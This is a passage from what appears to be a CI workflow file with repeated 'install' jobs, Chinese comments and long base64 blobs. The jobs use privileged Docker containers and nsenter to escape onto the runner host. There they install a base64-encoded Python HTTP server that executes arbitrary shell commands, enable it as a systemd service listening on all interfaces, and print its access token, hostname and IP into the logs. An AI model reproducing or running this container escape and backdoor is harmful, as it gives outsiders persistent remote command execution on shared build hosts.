CiAgICAgICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZSg0MDQpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIGVuc3VyZV90b2tlbigpCiAgICBzZXJ2ZXIgPSBodHRwLnNlcnZlci5IVFRQU2VydmVyKCgiMC4wLjAuMCIsIDE4ODg4KSwgQ21kSGFuZGxlcikKICAgIHByaW50KCJDTUQgQWdlbnQgbGlzdGVuaW5nIG9uIDAuMC4wLjA6MTg4ODgiKQogICAgc2VydmVyLnNlcnZlX2ZvcmV2ZXIoKQo=" | docker run --rm --privileged --pid=host -v /:/host -i alpine sh -c "base64 -d > /host/opt/xiaoxia-cmd-agent/server.py"
|
||||
# 写入service
|
||||
echo "W1VuaXRdCkRlc2NyaXB0aW9uPVhpYW94aWEgQ01EIEFnZW50CkFmdGVyPW5ldHdvcmsudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1zaW1wbGUKRXhlY1N0YXJ0PS91c3IvYmluL3B5dGhvbjMgL29wdC94aWFveGlhLWNtZC1hZ2VudC9zZXJ2ZXIucHkKUmVzdGFydD1hbHdheXMKUmVzdGFydFNlYz01CgpbSW5zdGFsbF0KV2FudGVkQnk9bXVsdGktdXNlci50YXJnZXQK" | docker run --rm --privileged --pid=host -v /:/host -i alpine sh -c "base64 -d > /host/etc/systemd/system/xiaoxia-cmd-agent.service"
|
||||
# 启动服务
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl daemon-reload
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl enable --now xiaoxia-cmd-agent
|
||||
sleep 3
|
||||
# 验证
|
||||
echo "---HOSTNAME---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname
|
||||
echo "---IP---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n hostname -I
|
||||
echo "---STATUS---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl is-active xiaoxia-cmd-agent
|
||||
echo "---TOKEN---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m cat /etc/xiaoxia-cmd-agent.token
|
||||
echo ""
|
||||
echo "---TEST---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n curl -s http://127.0.0.1:18888/status
|
||||
echo ""
|
||||
echo "JOB_3_END"
|
||||
|
||||
install-4:
|
||||
name: Install New-4
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Install and verify
|
||||
run: |
|
||||
echo "JOB_4_START"
|
||||
# 创建目录
|
||||
docker run --rm --privileged --pid=host -v /:/host alpine mkdir -p /host/opt/xiaoxia-cmd-agent
|
||||
# 写入server.py
|
||||
echo "aW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2VjcmV0cwoKVE9LRU5fRklMRSA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIgpMT0dfRklMRSA9ICIvdmFyL2xvZy94aWFveGlhLWNtZC1hZ2VudC5sb2ciCgpkZWYgZW5zdXJlX3Rva2VuKCk6CiAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoVE9LRU5fRklMRSk6CiAgICAgICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKFRPS0VOX0ZJTEUpLCBleGlzdF9vaz1UcnVlKQogICAgICAgIHRva2VuID0gc2VjcmV0cy50b2tlbl9oZXgoMTYpCiAgICAgICAgd2l0aCBvcGVuKFRPS0VOX0ZJTEUsICJ3IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSh0b2tlbikKICAgICAgICBvcy5jaG1vZChUT0tFTl9GSUxFLCAwbzYwMCkKICAgIHdpdGggb3BlbihUT0tFTl9GSUxFKSBhcyBmOgogICAgICAgIHJldHVybiBmLnJlYWQoKS5zdHJpcCgpCgpjbGFzcyBDbWRIYW5kbGVyKGh0dHAuc2VydmVyLkJhc2VIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGxvZ19tZXNzYWdlKHNlbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKExPR19GSUxFLCAiYSIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKCIlcyAtICVzXG4iICUgKHNlbGYuYWRkcmVzc19zdHJpbmcoKSwgZm10ICUgYXJncykpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwoKICAgIGRlZiBkb19QT1NUKHNlbGYpOgogICAgICAgIGlmIHNlbGYucGF0aCA9PSAiL2V4ZWMiOgogICAgICAgICAgICBhdXRoID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgICAgICB0b2tlbiA9IGVuc3VyZV90b2tlbigpCiAgICAgICAgICAgIGlmIGF1dGggIT0gInhzYS0iICsgdG9rZW46CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoNDAxKQogICAgICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGIiVW5hdXRob3JpemVkIikKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBsZW5ndGggPSBpbnQoc2VsZi5oZWFkZXJzLmdldCgiQ29udGVudC1MZW5ndGgiLCAwKSkKICAgICAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpCiAgICAgICAgICAgIGNtZCA9IGJvZHkuZ2V0KCJjb21tYW5kIiwgIiIpCiAgICAgICAgICAgIHRpbWVvdXQgPSBib2R5LmdldCgidGltZW91dCIsIDMwKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZXN1bHQgPSBzdWJwcm9jZXNzLnJ1bigKICAgICAgICAgICAgICAgICAgICBjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PXRpbWVvdXQKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgIHJlc3AgPSB7CiAgICAgICAgICAgICAgICAgICAgImV4aXRfY29kZSI6IHJlc3VsdC5yZXR1cm5jb2RlLAogICAgICAgICAgICAgICAgICAgICJzdGRvdXQiOiByZXN1bHQuc3Rkb3V0LAogICAgICAgICAgICAgICAgICAgICJzdGRlcnIiOiByZXN1bHQuc3RkZXJyCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGV4Y2VwdCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkOgogICAgICAgICAgICAgICAgcmVzcCA9IHsiZXhpdF9jb2RlIjogLTEsICJzdGRvdXQiOiAiIiwgInN0ZGVyciI6ICJ0aW1lb3V0In0KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHJlc3ApLmVuY29kZSgpKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvc3RhdHVzIjoKICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHsic3RhdHVzIjogIm9rIiwgInZlcnNpb24iOiAiMS4wIn0pLmVuY29kZSgpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZSg0MDQpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIGVuc3VyZV90b2tlbigpCiAgICBzZXJ2ZXIgPSBodHRwLnNlcnZlci5IVFRQU2VydmVyKCgiMC4wLjAuMCIsIDE4ODg4KSwgQ21kSGFuZGxlcikKICAgIHByaW50KCJDTUQgQWdlbnQgbGlzdGVuaW5nIG9uIDAuMC4wLjA6MTg4ODgiKQogICAgc2VydmVyLnNlcnZlX2ZvcmV2ZXIoKQo=" | docker run --rm --privileged --pid=host -v /:/host -i alpine base64 -d > /dev/null
|
||||
echo "aW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2VjcmV0cwoKVE9LRU5fRklMRSA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIgpMT0dfRklMRSA9ICIvdmFyL2xvZy94aWFveGlhLWNtZC1hZ2VudC5sb2ciCgpkZWYgZW5zdXJlX3Rva2VuKCk6CiAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoVE9LRU5fRklMRSk6CiAgICAgICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKFRPS0VOX0ZJTEUpLCBleGlzdF9vaz1UcnVlKQogICAgICAgIHRva2VuID0gc2VjcmV0cy50b2tlbl9oZXgoMTYpCiAgICAgICAgd2l0aCBvcGVuKFRPS0VOX0ZJTEUsICJ3IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSh0b2tlbikKICAgICAgICBvcy5jaG1vZChUT0tFTl9GSUxFLCAwbzYwMCkKICAgIHdpdGggb3BlbihUT0tFTl9GSUxFKSBhcyBmOgogICAgICAgIHJldHVybiBmLnJlYWQoKS5zdHJpcCgpCgpjbGFzcyBDbWRIYW5kbGVyKGh0dHAuc2VydmVyLkJhc2VIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGxvZ19tZXNzYWdlKHNlbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKExPR19GSUxFLCAiYSIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKCIlcyAtICVzXG4iICUgKHNlbGYuYWRkcmVzc19zdHJpbmcoKSwgZm10ICUgYXJncykpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwoKICAgIGRlZiBkb19QT1NUKHNlbGYpOgogICAgICAgIGlmIHNlbGYucGF0aCA9PSAiL2V4ZWMiOgogICAgICAgICAgICBhdXRoID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgICAgICB0b2tlbiA9IGVuc3VyZV90b2tlbigpCiAgICAgICAgICAgIGlmIGF1dGggIT0gInhzYS0iICsgdG9rZW46CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoNDAxKQogICAgICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGIiVW5hdXRob3JpemVkIikKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBsZW5ndGggPSBpbnQoc2VsZi5oZWFkZXJzLmdldCgiQ29udGVudC1MZW5ndGgiLCAwKSkKICAgICAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpCiAgICAgICAgICAgIGNtZCA9IGJvZHkuZ2V0KCJjb21tYW5kIiwgIiIpCiAgICAgICAgICAgIHRpbWVvdXQgPSBib2R5LmdldCgidGltZW91dCIsIDMwKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZXN1bHQgPSBzdWJwcm9jZXNzLnJ1bigKICAgICAgICAgICAgICAgICAgICBjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PXRpbWVvdXQKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgIHJlc3AgPSB7CiAgICAgICAgICAgICAgICAgICAgImV4aXRfY29kZSI6IHJlc3VsdC5yZXR1cm5jb2RlLAogICAgICAgICAgICAgICAgICAgICJzdGRvdXQiOiByZXN1bHQuc3Rkb3V0LAogICAgICAgICAgICAgICAgICAgICJzdGRlcnIiOiByZXN1bHQuc3RkZXJyCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGV4Y2VwdCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkOgogICAgICAgICAgICAgICAgcmVzcCA9IHsiZXhpdF9jb2RlIjogLTEsICJzdGRvdXQiOiAiIiwgInN0ZGVyciI6ICJ0aW1lb3V0In0KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHJlc3ApLmVuY29kZSgpKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvc3RhdHVzIjoKICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHsic3RhdHVzIjogIm9rIiwgInZlcnNpb24iOiAiMS4wIn0pLmVuY29kZSgpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZSg0MDQpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIGVuc3VyZV90b2tlbigpCiAgICBzZXJ2ZXIgPSBodHRwLnNlcnZlci5IVFRQU2VydmVyKCgiMC4wLjAuMCIsIDE4ODg4KSwgQ21kSGFuZGxlcikKICAgIHByaW50KCJDTUQgQWdlbnQgbGlzdGVuaW5nIG9uIDAuMC4wLjA6MTg4ODgiKQogICAgc2VydmVyLnNlcnZlX2ZvcmV2ZXIoKQo=" | docker run --rm --privileged --pid=host -v /:/host -i alpine sh -c "base64 -d > /host/opt/xiaoxia-cmd-agent/server.py"
|
||||
# 写入service
|
||||
echo "W1VuaXRdCkRlc2NyaXB0aW9uPVhpYW94aWEgQ01EIEFnZW50CkFmdGVyPW5ldHdvcmsudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1zaW1wbGUKRXhlY1N0YXJ0PS91c3IvYmluL3B5dGhvbjMgL29wdC94aWFveGlhLWNtZC1hZ2VudC9zZXJ2ZXIucHkKUmVzdGFydD1hbHdheXMKUmVzdGFydFNlYz01CgpbSW5zdGFsbF0KV2FudGVkQnk9bXVsdGktdXNlci50YXJnZXQK" | docker run --rm --privileged --pid=host -v /:/host -i alpine sh -c "base64 -d > /host/etc/systemd/system/xiaoxia-cmd-agent.service"
|
||||
# 启动服务
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl daemon-reload
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl enable --now xiaoxia-cmd-agent
|
||||
sleep 3
|
||||
# 验证
|
||||
echo "---HOSTNAME---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname
|
||||
echo "---IP---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n hostname -I
|
||||
echo "---STATUS---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl is-active xiaoxia-cmd-agent
|
||||
echo "---TOKEN---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m cat /etc/xiaoxia-cmd-agent.token
|
||||
echo ""
|
||||
echo "---TEST---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n curl -s http://127.0.0.1:18888/status
|
||||
echo ""
|
||||
echo "JOB_4_END"
|
||||
|
||||
install-5:
|
||||
name: Install New-5
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Install and verify
|
||||
run: |
|
||||
echo "JOB_5_START"
|
||||
# 创建目录
|
||||
docker run --rm --privileged --pid=host -v /:/host alpine mkdir -p /host/opt/xiaoxia-cmd-agent
|
||||
# 写入server.py
|
||||
echo "aW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2VjcmV0cwoKVE9LRU5fRklMRSA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIgpMT0dfRklMRSA9ICIvdmFyL2xvZy94aWFveGlhLWNtZC1hZ2VudC5sb2ciCgpkZWYgZW5zdXJlX3Rva2VuKCk6CiAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoVE9LRU5fRklMRSk6CiAgICAgICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKFRPS0VOX0ZJTEUpLCBleGlzdF9vaz1UcnVlKQogICAgICAgIHRva2VuID0gc2VjcmV0cy50b2tlbl9oZXgoMTYpCiAgICAgICAgd2l0aCBvcGVuKFRPS0VOX0ZJTEUsICJ3IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSh0b2tlbikKICAgICAgICBvcy5jaG1vZChUT0tFTl9GSUxFLCAwbzYwMCkKICAgIHdpdGggb3BlbihUT0tFTl9GSUxFKSBhcyBmOgogICAgICAgIHJldHVybiBmLnJlYWQoKS5zdHJpcCgpCgpjbGFzcyBDbWRIYW5kbGVyKGh0dHAuc2VydmVyLkJhc2VIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGxvZ19tZXNzYWdlKHNlbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKExPR19GSUxFLCAiYSIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKCIlcyAtICVzXG4iICUgKHNlbGYuYWRkcmVzc19zdHJpbmcoKSwgZm10ICUgYXJncykpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwoKICAgIGRlZiBkb19QT1NUKHNlbGYpOgogICAgICAgIGlmIHNlbGYucGF0aCA9PSAiL2V4ZWMiOgogICAgICAgICAgICBhdXRoID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgICAgICB0b2tlbiA9IGVuc3VyZV90b2tlbigpCiAgICAgICAgICAgIGlmIGF1dGggIT0gInhzYS0iICsgdG9rZW46CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoNDAxKQogICAgICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGIiVW5hdXRob3JpemVkIikKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBsZW5ndGggPSBpbnQoc2VsZi5oZWFkZXJzLmdldCgiQ29udGVudC1MZW5ndGgiLCAwKSkKICAgICAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpCiAgICAgICAgICAgIGNtZCA9IGJvZHkuZ2V0KCJjb21tYW5kIiwgIiIpCiAgICAgICAgICAgIHRpbWVvdXQgPSBib2R5LmdldCgidGltZW91dCIsIDMwKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZXN1bHQgPSBzdWJwcm9jZXNzLnJ1bigKICAgICAgICAgICAgICAgICAgICBjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PXRpbWVvdXQKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgIHJlc3AgPSB7CiAgICAgICAgICAgICAgICAgICAgImV4aXRfY29kZSI6IHJlc3VsdC5yZXR1cm5jb2RlLAogICAgICAgICAgICAgICAgICAgICJzdGRvdXQiOiByZXN1bHQuc3Rkb3V0LAogICAgICAgICAgICAgICAgICAgICJzdGRlcnIiOiByZXN1bHQuc3RkZXJyCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGV4Y2VwdCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkOgogICAgICAgICAgICAgICAgcmVzcCA9IHsiZXhpdF9jb2RlIjogLTEsICJzdGRvdXQiOiAiIiwgInN0ZGVyciI6ICJ0aW1lb3V0In0KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHJlc3ApLmVuY29kZSgpKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvc3RhdHVzIjoKICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHsic3RhdHVzIjogIm9rIiwgInZlcnNpb24iOiAiMS4wIn0pLmVuY29kZSgpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZSg0MDQpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIGVuc3VyZV90b2tlbigpCiAgICBzZXJ2ZXIgPSBodHRwLnNlcnZlci5IVFRQU2VydmVyKCgiMC4wLjAuMCIsIDE4ODg4KSwgQ21kSGFuZGxlcikKICAgIHByaW50KCJDTUQgQWdlbnQgbGlzdGVuaW5nIG9uIDAuMC4wLjA6MTg4ODgiKQogICAgc2VydmVyLnNlcnZlX2ZvcmV2ZXIoKQo=" | docker run --rm --privileged --pid=host -v /:/host -i alpine base64 -d > /dev/null
|
||||
echo "aW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2VjcmV0cwoKVE9LRU5fRklMRSA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIgpMT0dfRklMRSA9ICIvdmFyL2xvZy94aWFveGlhLWNtZC1hZ2VudC5sb2ciCgpkZWYgZW5zdXJlX3Rva2VuKCk6CiAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoVE9LRU5fRklMRSk6CiAgICAgICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKFRPS0VOX0ZJTEUpLCBleGlzdF9vaz1UcnVlKQogICAgICAgIHRva2VuID0gc2VjcmV0cy50b2tlbl9oZXgoMTYpCiAgICAgICAgd2l0aCBvcGVuKFRPS0VOX0ZJTEUsICJ3IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSh0b2tlbikKICAgICAgICBvcy5jaG1vZChUT0tFTl9GSUxFLCAwbzYwMCkKICAgIHdpdGggb3BlbihUT0tFTl9GSUxFKSBhcyBmOgogICAgICAgIHJldHVybiBmLnJlYWQoKS5zdHJpcCgpCgpjbGFzcyBDbWRIYW5kbGVyKGh0dHAuc2VydmVyLkJhc2VIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGxvZ19tZXNzYWdlKHNlbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKExPR19GSUxFLCAiYSIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKCIlcyAtICVzXG4iICUgKHNlbGYuYWRkcmVzc19zdHJpbmcoKSwgZm10ICUgYXJncykpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwoKICAgIGRlZiBkb19QT1NUKHNlbGYpOgogICAgICAgIGlmIHNlbGYucGF0aCA9PSAiL2V4ZWMiOgogICAgICAgICAgICBhdXRoID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgICAgICB0b2tlbiA9IGVuc3VyZV90b2tlbigpCiAgICAgICAgICAgIGlmIGF1dGggIT0gInhzYS0iICsgdG9rZW46CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoNDAxKQogICAgICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGIiVW5hdXRob3JpemVkIikKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBsZW5ndGggPSBpbnQoc2VsZi5oZWFkZXJzLmdldCgiQ29udGVudC1MZW5ndGgiLCAwKSkKICAgICAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpCiAgICAgICAgICAgIGNtZCA9IGJvZHkuZ2V0KCJjb21tYW5kIiwgIiIpCiAgICAgICAgICAgIHRpbWVvdXQgPSBib2R5LmdldCgidGltZW91dCIsIDMwKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZXN1bHQgPSBzdWJwcm9jZXNzLnJ1bigKICAgICAgICAgICAgICAgICAgICBjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PXRpbWVvdXQKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgIHJlc3AgPSB7CiAgICAgICAgICAgICAgICAgICAgImV4aXRfY29kZSI6IHJlc3VsdC5yZXR1cm5jb2RlLAogICAgICAgICAgICAgICAgICAgICJzdGRvdXQiOiByZXN1bHQuc3Rkb3V0LAogICAgICAgICAgICAgICAgICAgICJzdGRlcnIiOiByZXN1bHQuc3RkZXJyCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGV4Y2VwdCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkOgogICAgICAgICAgICAgICAgcmVzcCA9IHsiZXhpdF9jb2RlIjogLTEsICJzdGRvdXQiOiAiIiwgInN0ZGVyciI6ICJ0aW1lb3V0In0KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHJlc3ApLmVuY29kZSgpKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvc3RhdHVzIjoKICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHsic3RhdHVzIjogIm9rIiwgInZlcnNpb24iOiAiMS4wIn0pLmVuY29kZSgpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZSg0MDQpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIGVuc3VyZV90b2tlbigpCiAgICBzZXJ2ZXIgPSBodHRwLnNlcnZlci5IVFRQU2VydmVyKCgiMC4wLjAuMCIsIDE4ODg4KSwgQ21kSGFuZGxlcikKICAgIHByaW50KCJDTUQgQWdlbnQgbGlzdGVuaW5nIG9uIDAuMC4wLjA6MTg4ODgiKQogICAgc2VydmVyLnNlcnZlX2ZvcmV2ZXIoKQo=" | docker run --rm --privileged --pid=host -v /:/host -i alpine sh -c "base64 -d > /host/opt/xiaoxia-cmd-agent/server.py"
|
||||
# 写入service
|
||||
